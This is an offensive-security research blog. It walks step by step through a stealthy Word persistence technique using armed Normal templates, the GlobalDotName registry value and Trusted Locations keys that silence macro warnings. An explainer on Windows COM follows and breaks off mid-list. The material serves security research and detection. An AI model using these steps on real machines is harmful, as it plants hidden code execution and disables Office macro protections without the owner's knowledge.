# 0xShukruN /?

Offensive Cyber Security Research & Detection Blog

{% hint style="warning" %}
This Gitbook is still a work-in-progress and will probably change its layout.&#x20;
{% endhint %}

## GitBook Legend

Each Page has a prefix Icon signifying the nature of the page

| Icon        | Description                                                                                                                    |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------ |
| :card\_box: | Container page, Usually a parent page to several other pages, this pages will contain detail about the pages nested within it. |
| :mag:       | In-Depth Articles, Usually a deep-dive into the subject mentioned in the page's title                                          |
| :tools:     | A page which is has some content, but is work-in-progress                                                                      |
| :scroll:    | CheatSheet Page - a collection of commands, code, methods to quickly reference.                                                |
| :bookmark:  | Short Pages that briefly demonstrates something without deep-diving.                                                           |

## This Gitbook

Currently this Gitbook is a geneal place in which I write:

* Blogs
* In-Depth Articles about Offensive / Defensive Techniques and the technology it involves
* Operating System Internals
* "How to" Articles
* Cheatsheets&#x20;
* Miscellaneous&#x20;

## Contact Me

I can be reached [@linkedin](https://www.linkedin.com/in/saharshukrun/) or [@SaharShukrun](https://twitter.com/SaharShukrun).


# Office Templates and GlobalDotName - A Stealthy Office Persistence Technique

A few weeks back, I was researching various adversarial techniques, when a couple of minutes into the research of [T1137 ](https://attack.mitre.org/techniques/T1137/)(Office Application Startup), there appeared to be a yet-to-be-documented capability that can be leveraged by adversaries using this technique.

I also noticed there isn't a lot of in-depth information about some of the techniques presented in [T1137](https://attack.mitre.org/techniques/T1137/), such a the "Normal Template" technique, even though plenty of well known threat actors like "[MuddyWater](https://securityaffairs.co/wordpress/86953/apt/muddywater-powerstats-v3.html)" leverage this technique, so I decided to shed some light about it and some of Word's inner workingarming a template file ws.

When researching adversarial techniques, I start by examining the [MITRE ATT\&CK Post-Exploitation matrix](https://attack.mitre.org/) to check the technique's existence, and gather additional information if exists on the web.

So at one point, I decided to research [T1137 ](https://attack.mitre.org/techniques/T1137/)a.k.a "Office Application Startup".

[T1137 ](https://attack.mitre.org/techniques/T1137/)documented multiple implementations for achieving persistence in Microsoft Office application startup such as "Office Test" key, Add-ins, Templates, Rules & Home pages(Outlook), etc.

But today we're here to talk about Office Templates; Office Templates will eventually allow us to execute code on each application startup, **even on macro-free documents!** (docx, pptx, etc).

### **How Does this Technique Work?** <a href="#viewer-78dm0" id="viewer-78dm0"></a>

It's relatively simple, every office application uses some form of a template, so if we will take Microsoft's Office Word for example, When executed, it loads its "[Normal Template](https://support.office.com/en-us/article/change-the-normal-template-normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea?ui=en-US\&rs=en-US\&ad=US)" that contains default styles and customizations that determine the basic look of a document, and even active content such as macro.

By replacing the "Normal Template" of Word with an armed version of our own that contains VBA for example, we can achieve persistent code execution on the machine since the template will load each time a document is opened.

Later in this article, I will demonstrate how to arm your template, and how to make this technique even stealthier by using a custom template. We can define a custom template by using Word's UI or by editing the registry value "GlobalDotName" which we will learn about shortly.

One extremely cool thing about this technique is that the armed template **VBA code will be executed even when macro-free documents are executed!** (.docx,pptx, etc)

### **What is a template file?** <a href="#viewer-c50r4" id="viewer-c50r4"></a>

All Microsoft Office applications use templates, but for the sake of this article, we'll focus on Microsoft's Office Word. Word's default template file is named Normal.dot / Normal.dotm; it's also been referred to as "Normal Template".

The "Normal Template" is a file that contains default styles and customizations that determine the basic look of a document, and even active content such as macros.

In older versions of Word, Microsoft used a binary format (Word 2003 and below), and in Word 2007, Microsoft changed its format to an XML based format, hence the different extensions .dot/.dotx/.dotm.

The .dotm extension signifies that the "Normal Template" is a macro-enabled template which will come in handy later in this article ;).

The "Normal Template" is similar to other template files, aside from it being the default built-in template of Word, and some features which are not available in ordinary non-default templates.

Word cannot open documents without a template, nor can it create new ones without it. Which is why Word has a built-in "Normal template" that would be re-created if Word can't find a template to use, or if the current template is corrupted/malformatted.

#### **Locations:** <a href="#viewer-76gbu" id="viewer-76gbu"></a>

The default "Normal Template" is most commonly found in the **User Templates folde**r which is located at:

* *%appdata%\Microsoft\Templates\\*

However, this is not the only place Word searches for the "Normal Template". I examined Word's activity when executed and I found two locations that Word searches for the templates, one is Word's program folder, the other is the default location for the "Normal Template".

![](https://static.wixstatic.com/media/c20a74_e78b710d8c2f4acea85d33c2b8e28020~mv2.png/v1/fit/w_300,h_300,al_c,q_5,enc_auto/file.png)

I did some googling and found an amazingly [in-depth article by Tony Jollans](http://www.wordarticles.com/Articles/Templates/Normal.php), Microsoft Word MVP, which mentioned another location that Word is searching for which is actually a registry value that point to a network-shared template.

Below is the a list of the templates possible location and their corresponding search order.

1. Word Program location
2. User Templates location
3. Workgroup Templates location
4. GlobalDotName Registry key\*

\*Will be detailed further down this article.

#### **Word Program location** <a href="#viewer-74njt" id="viewer-74njt"></a>

Word searches for the "Normal Template" in Word's Program folder which differs on different operating systems versions as well as Microsoft Office versions, you may find it in the following locations:

* *C:\Program Files\Microsoft Office\Office\<version number>*
* *C:\Program Files\Microsoft Office\root\Office\<version number>*

You can find out Word's Program path by its GUI or via the registry value ("vv.0" is placeholder for the version number):

* *HKCU\Software\Microsoft\Office\vv.0\Word\Options\PROGRAMDIR*

The "Normal Template" is rarely located at Word's program location,still, you should be aware of this location.

#### **User Templates location** <a href="#viewer-a3t7u" id="viewer-a3t7u"></a>

If Word can't find the "Normal Template" at Word's Program location it will attempt to find it at the User Template Location, and its default location is:

* *%appdata%\Microsoft\Templates\\*

If by any chance that location has been changed, you can discover the updated User Templates location by querying the following registry value:

* *HKCU\Software\Microsoft\Office\vv.0\Common\General\UserTemplates*

#### **Workgroup Templates location** <a href="#viewer-155pn" id="viewer-155pn"></a>

Finally, there is the Workgroup template, this option is available for sharing templates over the network and doesn't have any default value. If it configured, you can find the template's location in the following path:

* *HKCU\Software\Microsoft\Office\vv.0\Common\General\SharedTemplates*

**When all else fails, and Word can not find its template, it generate a new one which is built-in to Word.**

### **Midway Summary** <a href="#viewer-deudv" id="viewer-deudv"></a>

So far we've learned that:

* Word uses a default template called Normal.dot / Normal.dotm which can be found in a variety of locations and is loaded with each document's execution.
* The template can contain VBA code which will be loaded when a document execute, **even if it is a macro-free document.**

#### **But..** <a href="#viewer-ejikn" id="viewer-ejikn"></a>

* What if I don't want to call my malicious template Normal.dotm?
* What if i want to give it an arbitrary name?
* or an arbitrary extension?
* And how about placing it in a location of my choosing?

### **Gain stealthiness with GlobalDotName** <a href="#viewer-e764c" id="viewer-e764c"></a>

GlobalDotName is a registry value that when used, tells word the location of a custom "Normal template" of our choosing and provide us with a huge amount of flexibility.

This value can be found at:

* HKCU\software\microsoft\office\vv.v\word\options\GlobalDotName

![GlobalDotName Value](https://static.wixstatic.com/media/c20a74_4572e68403f54e02b7dbae94aa9981d8~mv2.png/v1/fill/w_740,h_48,al_c,lg_1,q_90/c20a74_4572e68403f54e02b7dbae94aa9981d8~mv2.webp)

**How to set it up?**

1. Create the Value of "GlobalDotName" in the relevant key
2. In the value's data input your path+filename+extension(optional)

**GlobalDotName Highlights:**

* **Takes priority over every other Normal template**
* Use any location you want
* Use almost any name/extension you want, they don't have to mean anything, yes, even the extension can be total nonsense. DO NOT however choose any meaningful extension to Word aside from the macro-enabled template(.dotm) which is not to be confused with the macro-enabled document(.docm)
* Well, you actually don't even have to choose an extension, it'll work anyway without it
* you can use a relative paths
* you can also use environment variables by using a REG\_EXPAND\_SZ Value

### **Arming a template file with VBA** <a href="#viewer-fr6tk" id="viewer-fr6tk"></a>

1\. Open a new document in Word.

2\. Add the "Developer" tab, File -> Options:

<br>

![](https://static.wixstatic.com/media/c20a74_3773df993b2246468c793620a7b2d3c1~mv2.png/v1/fill/w_360,h_307,al_c,q_90/c20a74_3773df993b2246468c793620a7b2d3c1~mv2.webp)

3\. Make sure to create your macro in the current document:

<br>

![](https://static.wixstatic.com/media/c20a74_53774173b6524a19809ded5a8f973956~mv2.png/v1/fill/w_360,h_249,al_c,q_90/c20a74_53774173b6524a19809ded5a8f973956~mv2.webp)

![](https://static.wixstatic.com/media/c20a74_d21729a3ab464cee8a23ee44d4f4e6d5~mv2.png/v1/fill/w_360,h_120,al_c,q_90/c20a74_d21729a3ab464cee8a23ee44d4f4e6d5~mv2.webp)

This macro will pop a message box

4\. Once you write your macro, save the document as Normal.dotm (since we are not using GlobalDotName here):

![Save As .dotm](https://static.wixstatic.com/media/c20a74_f79ef6ba7a204c0ea4295e7ea22692cc~mv2.png/v1/fill/w_360,h_52,al_c,q_90/c20a74_f79ef6ba7a204c0ea4295e7ea22692cc~mv2.webp)

![](https://static.wixstatic.com/media/c20a74_e2c1cd0a0fe84e46a5e111cbcb8a7884~mv2.png/v1/fill/w_360,h_400,al_c,lg_1,q_90/c20a74_e2c1cd0a0fe84e46a5e111cbcb8a7884~mv2.webp)

5\. Now before we implement the GlobalDotName Key and additional important steps(such as setting Trust for our template), lets drop it in the User Template Folder and execute **test.docx,** which is a normal macro-free document.

![](https://static.wixstatic.com/media/c20a74_73e718932f534ac4907b1eee79f3c023~mv2.png/v1/fill/w_740,h_348,al_c,q_90/c20a74_73e718932f534ac4907b1eee79f3c023~mv2.webp)

Modified Normal Template

6\. And there we have it, a .docx document is opened and executes the macro from the template we just planted.<br>

![](https://static.wixstatic.com/media/c20a74_6576cf255b2446408a2806e12a46d5c7~mv2.png/v1/fill/w_740,h_499,al_c,q_90/c20a74_6576cf255b2446408a2806e12a46d5c7~mv2.webp)

### **Trust** <a href="#viewer-eqedi" id="viewer-eqedi"></a>

Beginning with Word 2007 and above Microsoft introduced a concept of "Trust" to improve its security and protect its users from unauthorized code running without their knowledge.

To be able to execute macro without the security warning popping out , you need to either disable the "VBAWarning" value in the registry, or you can add "Trust" to the relevant document by registering it in as "Trusted Document" or place it in a "Trusted location".

Luckily, we can control all of these options by editing some registry keys & values. Here are the relevant keys & values locations:

* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\VBAWarning
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Locations
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Locations\\\<key\_name\_of\_location>\\
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Locations\\\<key\_name\_of\_location>\Path
* HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Locations\\\<key\_name\_of\_location>\AllowSubFolders

In this case I will utilize the "Trusted Locations" key to set Trust for a certain location, which means the "VBAWarning" value and the "Trusted Documents" key are not needed for this proof of concept.

### **Setting up the persistence** <a href="#viewer-4aqju" id="viewer-4aqju"></a>

* Open Word, create a new document, insert your macro to it and save it as a macro-enabled template file (.dotm) in the location you would point GlobalDotName to.

![](https://static.wixstatic.com/media/c20a74_375b86d244444555b9eafce420417e9e~mv2.png/v1/fill/w_740,h_505,al_c,q_90/c20a74_375b86d244444555b9eafce420417e9e~mv2.webp)

![](https://static.wixstatic.com/media/c20a74_5abe4eb32aba4cd087d40f1b7637ae2e~mv2.png/v1/fill/w_740,h_128,al_c,q_90/c20a74_5abe4eb32aba4cd087d40f1b7637ae2e~mv2.webp)

* Change the name & extension according to the rules we've established before and add the relevant path to the GlobalDotName value.

![](https://static.wixstatic.com/media/c20a74_9a374ac954204d909b35382a995c80b5~mv2.png/v1/fill/w_740,h_92,fp_0.50_0.50,q_90/c20a74_9a374ac954204d909b35382a995c80b5~mv2.webp)

* Create a key nested within the "Trusted Locations" key, inside the new key, create a value named "Path" and place the path to the template file.

![](https://static.wixstatic.com/media/c20a74_bace0439164a46b7ba283410074fbc44~mv2.png/v1/fill/w_740,h_132,al_c,q_90/c20a74_bace0439164a46b7ba283410074fbc44~mv2.webp)

* (Optional) - A cool value that can make the directory you specified and all of its sub-directories trusted is the "AllowSubFolders"; this value is binary so activating it requires creating a DWORD value with the data equals to 1:

![Enables trust in sub-folders of specified directory](https://static.wixstatic.com/media/c20a74_5b15d2a3685d4f058ad18b775890ff74~mv2.png/v1/fill/w_740,h_115,al_c,lg_1,q_90/c20a74_5b15d2a3685d4f058ad18b775890ff74~mv2.webp)

It is possible to to create the "C:\\" drive as a location and allow sub-folders therefor making the entire disk trusted, which means no macro alerts whatsoever.

#### **Money-time** <a href="#viewer-6jmg7" id="viewer-6jmg7"></a>

Let's execute a normal macro-free document from the desktop and see what happens

<br>

![](https://static.wixstatic.com/media/c20a74_224275ee3cdd4f949434f86c8044fb9a~mv2.png)

![](https://static.wixstatic.com/media/c20a74_5cc84aeaa209461388d37e05ff7a179c~mv2.png/v1/fill/w_486,h_232,fp_0.50_0.50,q_90/c20a74_5cc84aeaa209461388d37e05ff7a179c~mv2.webp)

Success :)

### Warning! <a href="#viewer-att0c" id="viewer-att0c"></a>

You must create the "Trusted Location" key and place the relevant path value to the template's location before any document is executed. Otherwise the document execution will result in an error and the deletion of the crafted template. after the deletion, Word will re-create the "Normal template" from its defaults and place it in the location which GlobalDotName points to.

![](https://static.wixstatic.com/media/c20a74_6be799636a334a9fba6439750097c699~mv2.png/v1/fill/w_740,h_403,al_c,q_90/c20a74_6be799636a334a9fba6439750097c699~mv2.webp)

### **In The Wild** <a href="#viewer-804qh" id="viewer-804qh"></a>

The usage of templates as means of persistence is leveraged by multiple threat actors and has been spotted in the wild before.

Having said that, I have yet to encounter the usage of the GlobalDotName which provides a somewhat stealthier implementation of this technique.

I highly recommend visiting the technique page on [MITRE ATT\&CK ](https://attack.mitre.org/techniques/T1137/)which documents some of the threat actors that leverages this technique in-addition to links for various reports that presents its usage.

### **After words** <a href="#viewer-bosma" id="viewer-bosma"></a>

I want to extended my appreciation to Tony Jollans, Microsoft Word MVP, and an amazing researcher, which publishes tons of "Word Internals" material on his website,

[wordarticles.com](http://www.wordarticles.com/). His articles helped me immensely during my research.

<br>

If you discovered any mistakes or inaccuracies, please contact me :)

<br>


# Windows Components Object Model

Windows Components Object Model is an old however widely used technology on Windows Systems. Its Attack surface is vast and can be utilized for various goals which I hope to cover in future articles.

## **Known Techniques**

### **COM Hijacking**

{% hint style="info" %}
[T1546.015](https://attack.mitre.org/techniques/T1546/015/) - Event Triggered Execution: Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
{% endhint %}

### **COM Elevation of Privilege - UAC Bypass**

{% hint style="info" %}
[T1548.002](https://attack.mitre.org/techniques/T1548/002/) - Abuse Elevation Control Mechanism: Bypass User Account Control

Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access.
{% endhint %}

### **Lateral Movement with DCOM**

{% hint style="info" %}
[T1021.003](https://attack.mitre.org/techniques/T1021/003/) - Remote Services: Distributed Component Object Model

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.
{% endhint %}

### **Code Execution**&#x20;

{% hint style="info" %}
[T1559.001](https://attack.mitre.org/techniques/T1559/001/) - Inter-Process Communication: Component Object Model

Adversaries may use various COM objects to achieve their goals, some of their goals can be, Arbitrary code execution, Creating Schedules Tasks, Modification of Registry or Files, etc.&#x20;
{% endhint %}

## COM / DCOM reading material <a href="#componentobjectmodel-com-knowledgebase-com-dcomreadingmaterial" id="componentobjectmodel-com-knowledgebase-com-dcomreadingmaterial"></a>

### Main Source

* <https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal>

{% content-ref url="/pages/XSoqZbt69ifuYLeZhW84" %}
[Demystifying Windows Component Object Model (COM)](/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com)
{% endcontent-ref %}

{% content-ref url="/pages/OVbY2XjvkWwh9i9NZDzb" %}
[COM Hijacking - T1546.015](/offensive-security/windows-components-object-model/com-hijacking-t1546.015)
{% endcontent-ref %}

### General COM Internals <a href="#componentobjectmodel-com-knowledgebase-generalcominternals" id="componentobjectmodel-com-knowledgebase-generalcominternals"></a>

* <https://www.mandiant.com/resources/hunting-com-objects>
* <https://www.mandiant.com/resources/hunting-com-objects-part-two>
* <https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1#conclusion>
* <https://the-deniss.github.io/posts/2021/05/17/discovering-and-exploiting-mcafee-com-objects.html>
* <https://www.tiraniddo.dev/2018/09/finding-interactive-user-com-objects_9.html?m=1>
* <https://gist.github.com/peteristhegreat/0d2d2580bd3fd353b178c1c4da2e455e>
* <https://www.codeguru.com/soap/step-by-step-com-tutorial/>
* <https://troopers.de/downloads/troopers17/TR17_Demystifying_%20COM.pdf>

### COM Hijacking / Persistence <a href="#componentobjectmodel-com-knowledgebase-comhijacking-persistence" id="componentobjectmodel-com-knowledgebase-comhijacking-persistence"></a>

* <https://pentestlab.blog/2020/05/20/persistence-com-hijacking/>
* <https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1>
* <https://pentestlab.blog/tag/scriptlet/>
* <https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html>
* <https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/>

  <br>

### DCOM Lateral Movement <a href="#componentobjectmodel-com-knowledgebase-dcomlateralmovement" id="componentobjectmodel-com-knowledgebase-dcomlateralmovement"></a>

* <https://www.ime.usp.br/~reverbel/SOD-97/Textos/dcom_corba/Paper.html>
* <https://www.cybereason.com/blog/dcom-lateral-movement-techniques>
* <https://redblue42.code42.com/detecting-lateral-movement-via-dcom/>
* <https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/>
* <https://www.scorpiones.io/articles/lateral-movement-using-dcom-objects>
* <https://blog.menasec.net/2019/02/threat-hunting-18-lateral-movement-via.html>
* <https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/>
* <https://hackdefense.com/assets/downloads/automating-the-enumeration-of-possible-dcom-vulnerabilities-axel-boesenach-v1.0.pdf>
* <https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/>

  <br>

### COM Privilege Escalation / UAC Bypasses <a href="#componentobjectmodel-com-knowledgebase-comprivilegeescalation-uacbypasses" id="componentobjectmodel-com-knowledgebase-comprivilegeescalation-uacbypasses"></a>

* <https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf>
* <https://www.youtube.com/watch?v=q9dnYno_Moc>
* <https://www.fuzzysecurity.com/tutorials/27.html>
* <https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html>
* <https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html>
* <https://cqureacademy.com/cqure-labs/cqlabs-how-uac-bypass-methods-really-work-by-adrian-denkiewicz>
* <https://www.mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/>


# Demystifying Windows Component Object Model (COM)

{% hint style="warning" %}
The article is my way of understanding the Component Object Model better, to better understand its attack surfaces and its potential for exploitation by adversaries.

It is by no means an exhaustive COM Internals guide as COM is a vast subject that cannot be covered in a mere article, however I attempt to cover information that I think is relevant for security researchers interested in COM.&#x20;
{% endhint %}

## 0x01: The Component Object Model (COM)

Threat actor have been using COM for quite a long time now, using COM for various purposes such as [code execution](https://attack.mitre.org/techniques/T1559/001/), [persistence](https://attack.mitre.org/techniques/T1546/015/), [privilege escalation](https://attack.mitre.org/techniques/T1546/015/) and [lateral movement](https://attack.mitre.org/techniques/T1021/003/).

This article's purpose is to provide you with deeper understanding of the Component Object Model to better understand those attack vectors.&#x20;

To open with a quote for Microsoft's documentation&#x20;

> COM is a platform-independent, distributed, object-oriented system for creating **binary software components that can interact**. COM is the foundation technology for Microsoft's OLE (compound documents) and ActiveX (Internet-enabled components) technologies.

What this essentially means is that COM is a standard that Microsoft developed for the development and usage of code, that enables other developers to use code regardless of the original language their code is written in and without re-compiling that code.   &#x20;

### **History**

"[Antony Williams](https://en.wikipedia.org/w/index.php?title=Antony_Williams_\(technologist\)\&action=edit\&redlink=1), who was involved in the creation of the COM architecture, distributed two internal papers in Microsoft that embraced the concept of software components: *Object Architecture: Dealing With the Unknown – or – Type Safety in a Dynamically Extensible Class Library* in 1988 and *On Inheritance: What It Means and How To Use It* in 1990.&#x20;

These books provided the foundation of many of the ideas behind COM. [Object Linking and Embedding](https://en.wikipedia.org/wiki/Object_Linking_and_Embedding) (OLE), Microsoft's first object-based framework, was built on top of DDE (another, older IPC technology) and designed specifically for [compound documents](https://en.wikipedia.org/wiki/Compound_document). It was introduced with Word for Windows and Excel in 1991.

It's important you understand there are various technologies involved here to enable various kinds of capabilities, A windows compound document is built on top of the COM technology to provide the ability to access and use various type of components (COM Objects) on a single document.&#x20;

An example for that is a  Word Document inside a Spreadsheet and vise-versa.&#x20;

The excel file being the compound document, using a Word COM object to embed the document inside the Excel's spreadsheet.&#x20;

Don't worry if you still don't fully understand it, much detailed example will be given below at the [#0x02-understanding-com-objects](#0x02-understanding-com-objects "mention") Section.&#x20;

![Word component embedded inside Excel](/files/6n7ywm4wzWggrerZIWKS)

### COM is Everywhere&#x20;

Although an old technology, Microsoft's products leverages COM objects everywhere, from Microsoft's Office components that can be used to create and embed documents and spreadsheets.&#x20;

Other components even enable arbitrary code execute, those are categorized as "Automation objects", and [WScript.Shell](#example-wscript.shell) is amongst those object.&#x20;

#### Some Statistics before we dive in

[OleViewDotNet](https://github.com/tyranid/oleviewdotnet) is a great(!) tool by the even more great James Forshaw(@tiraniddo).

James Forshaw is definitely one amazing researcher whos done a lot (!) of research on COM and has a outstanding understanding of the technology, its faults and its attack surface, he published many lectures and content about COM Internals and Exploitation (amongst other things) and I really encourage you to see his [lectures ](https://www.youtube.com/results?search_query=james+forshaw)and read [his blog](https://www.tiraniddo.dev/).

This screenshot below is the result of the enumeration of all install COM objects on my lab machine.&#x20;

The purpose of these statistics is to give you a rough idea of the potential attack surface that exists in COM by mare quantity of objects, each Windows build version may have some COM objects removed or added.&#x20;

**Windows 10 x64 , 1909 Stats:** &#x20;

* 8300+ COM Objects
* 27000+ Interfaces&#x20;
* 7500+ Are In-process Servers (DLLs)
* 810+ Are Out-of-Process Servers (EXE)

![OleViewDotNet COM Stats](/files/CSQQEsEwkUig5KxJHrkD)

### COM Objects Database

Using OleDotNetView Powershell module I created a bunch of CSV files  and uploaded them to my github [windows-com-objects](https://github.com/sahar55/windows-com-objects)[ ](https://github.com/sahar55/windows-com-objects)which can be used to explore COM objects.

I enjoyed importing the CSV files to a pandas DataFrame. it is also possible exploring them dynamically with OleViewDotNet Powershell Module as it creates an entire Database in-memory in the form of Powershell collections and objects which are really easy and fun to handle.&#x20;

Here's an example of what to expect in some of the CSVs

![COM Objects Database as a Pandas DataFrame](/files/JwLEyZgBF53qnwSQXBUn)

## 0x02: Understanding COM Objects

### What is a COM Object?&#x20;

It's an object that conforms to the OLE Component Object Model (COM).&#x20;

A COM object is an **instance** of an **object definition**, which specifies the object's data and one or more implementations of interfaces on the object. **Clients interact with a COM object only through its interfaces.**

{% hint style="info" %} <mark style="color:orange;">**The deployment of these classes is in the form of a Dynamically linked library (DLL) or an Executable (EXE).**</mark>
{% endhint %}

A COM Class contains the object's definition and its various interfaces.

All COM interfaces inherit from the [**IUnknown**](https://docs.microsoft.com/en-us/windows/desktop/api/Unknwn/nn-unknwn-iunknown) interface. The **IUnknown** interface contains the fundamental COM operations for polymorphism and instance lifetime management. The **IUnknown** interface has three member functions, named **QueryInterface**, **AddRef**, and **Release**. All COM objects are required to implement the **IUnknown** interface.

{% hint style="info" %}
A COM object exposes its features through an *interface*, which is a collection of member functions.
{% endhint %}

![](/files/Xptc5O96F8cEj6C7HNMa)

Using OleViewDotNet we can browse our COM objects and view their interfaces:

![Windows Script Host Shell Object](/files/Ej2n4nMwFpUoJYNFjsjl)

In <mark style="color:red;">**RED**</mark> Windows Script Host (Wscript) Com Class, In <mark style="color:blue;">**BLUE**</mark> the class' interfaces.&#x20;

Since this COM object has a TypeLib (a file that contains the interface's methods definition) we can also view The **IWshShell** Interface's methods definition with their expected types.

If an interface is not documented, A TypeLib will help us understand how to execute it's methods properly.&#x20;

![](/files/xdnMvhOUTiI2eqT3BzEZ)

Using these methods we can create registry keys (RegWrite), run executables (Run), create link files(CreateShortcut) and more!

We can use Powershell to test the **IWshShell** Interface, and try to execute it

```powershell
# Activte the Windows Script Host COM Object by using a ProgID (WScript.Shell)
# We get in return a pointer to the IWshShell Interface
$WshShell = New-Object -comObject WScript.Shell

# Using the CreateShortcut method returns a Shortcut object.
# This path is where the lnk file will be saved
$Shortcut = $WshShell.CreateShortcut("C:\tools\my.lnk")
# Here we specify the location the link points to (what will be executed when we click the file)
$Shortcut.TargetPath = "C:\windows\system32\cmd.exe"
$Shortcut.Save()
```

And here's the results, a link file create by a the **IWshShell** Interface that we executed via Powershell.&#x20;

The Same COM object can be executed many other languages(C/C++, .NET, Python, Go), which is what COM is essentially created for, which is **Interoperability**.&#x20;

![A link file that was created with the IWshShell.CreateShortcut method](/files/VbjHjAGzk45llCzXEMNH)

#### COM Objects Identifiers&#x20;

Following the example we've seen, It's important you get to know COM's Identifiers terminology

* **CLSID** - \
  Class ID, Is globally unique identifier (GUID) that Identifies a COM Class. In our previous example, we looked at Windows Script Host Class which has CLSID - \
  *{72C24DD5-D70A-438B-8A42-98424B88AFB8}*

* **ProgID** - \
  Program ID, A friendly name for a COM Class which can be used in a similar manner as CLSID,  In our previous example, we looked at Windows Script Host Class and used a powershell script to call it by its ProgID, which was *Wscript.Shell*

* **AppID** -  \
  Application ID, globally unique identifier (GUID) that identifies a registry key that contains various configuration for an individual or a group of COM classes

* **IID** - \
  Interface ID Is globally unique identifier (GUID) that Identifies a COM Interface, In our previous example, we looked at IWshShell Interface which had the IID of - \
  {F935DC21-1CF0-11d0-ADB9-00C04FD58A0B}

#### COM Object Creation Deep Dive

To understand how a COM object is built in a programmatic manner, and its step-by-step creation I recommend reading this article by [Mohamed Fakroud(@T3nb3w)](https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/playing-around-com-objects-part-1).

### Activation of a COM Object

When we want to use a certain Interface of a COM object, we cannot create an instance of that interface, but rather create an instance of the COM Class that implements that Interfaces. This process is called ***Activation.***

Looking at different programming languages we have multiple functions that help us creating an instance, for example:

* C / C++ - CreateInstance | CoCreateInstance | CoCreateInstanceEx
* VBScript / JScript - CreateObject | ActiveXObject
* Powershell - New-Object -ComObject

Some are low-level functions and others a high-level functions, but no matter which one of them you use, you must provide the CLSID or ProgID of the COM Class you wish to create an instance for, After that, there is a routine that locates the COM Object's server, performs some security checks and eventually if everything goes smoothly, creates the instance of the Interface.&#x20;

#### In C++&#x20;

```cpp
 hr = CoCreateInstance(
        &CLSID_TaskbarList, // A Constant of a CLSID
        NULL,
        CLSCTX_INPROC_SERVER,
        &IID_ITaskbarList3, // A Constant of an IID 
        (LPVOID *)&infoPtr->lpTaskbarList3);
```

**In Powershell**

```powershell
# Create Instance from CLSID
[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("56FDF344-FD6D-11d0-958A-006097C9A090"))
```

When we use one of these functions to create an instance of a COM Class, we pass the ***CLSID*** or the ***ProgID*** of the relevant class as an argument.

#### You might ask yourself, how does it know where the function know where is the DLL or EXE of the COM class is located?

The Windows Registry is the primary location of information regarding COM Classes that are installed on the system, part of the Installation of each COM object, is to register itself and its relevant information in the registry.&#x20;

{% hint style="info" %}
Registration of a COM server is usually mandatory require modification of the registry, however there are methods to register a COM objects without modifying the registry using regsvr32.exe
{% endhint %}

The following registry keys are the main keys of interest regarding COM:

* [**HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes**](https://docs.microsoft.com/en-us/windows/win32/com/hkey-local-machine-software-classes)
* [**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Ole**](https://docs.microsoft.com/en-us/windows/win32/com/hkey-local-machine-software-microsoft-ole)
* [**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion**](https://docs.microsoft.com/en-us/windows/win32/com/hkey-local-machine-software-microsoft-windows-nt-currentversion)

When we provide the CLSID or ProgID as an argument, control flow then passes to the SCM (Windows Service Manager) which handles the client's requests.

The SCM queries the relevant location in the registry, and searches for the Identifier we passed.&#x20;

The registry key that contains the identifier we've passed has value that is mapped to the location of the COM server, so if for example we pass the CLSID - {72c57034-02c4-4e9f-bf9c-ca711031757e}, we'll find the the COM server that is mapped to that CLSID is located at|*SystemRoot%\system32\windows.storage.dll*

![](/files/B8UvtAgEi15shiO4imlc)

#### Service Manager Request Handling Sequence

* A client requests an interface pointer to a COM object from the [COM Library](https://docs.microsoft.com/en-us/windows/win32/com/the-com-library)(ole32.dll) by calling a function such as [**CoCreateInstance**](https://docs.microsoft.com/en-us/windows/desktop/api/combaseapi/nf-combaseapi-cocreateinstance) with the CLSID of the COM object.
* The COM Library queries the SCM to find the server that corresponds with the requested CLSID.
* The SCM locates the server and requests the creation of the COM object from the class factory that is provided by the server.
* If successful, the COM Library returns an interface pointer to the client.

#### COM Servers Activation Types

When a COM Server is registered (A.K.A adding registry keys with mapping to the server and configurations related to the server), it can specify how this server can be activated.&#x20;

The various methods of activation are:

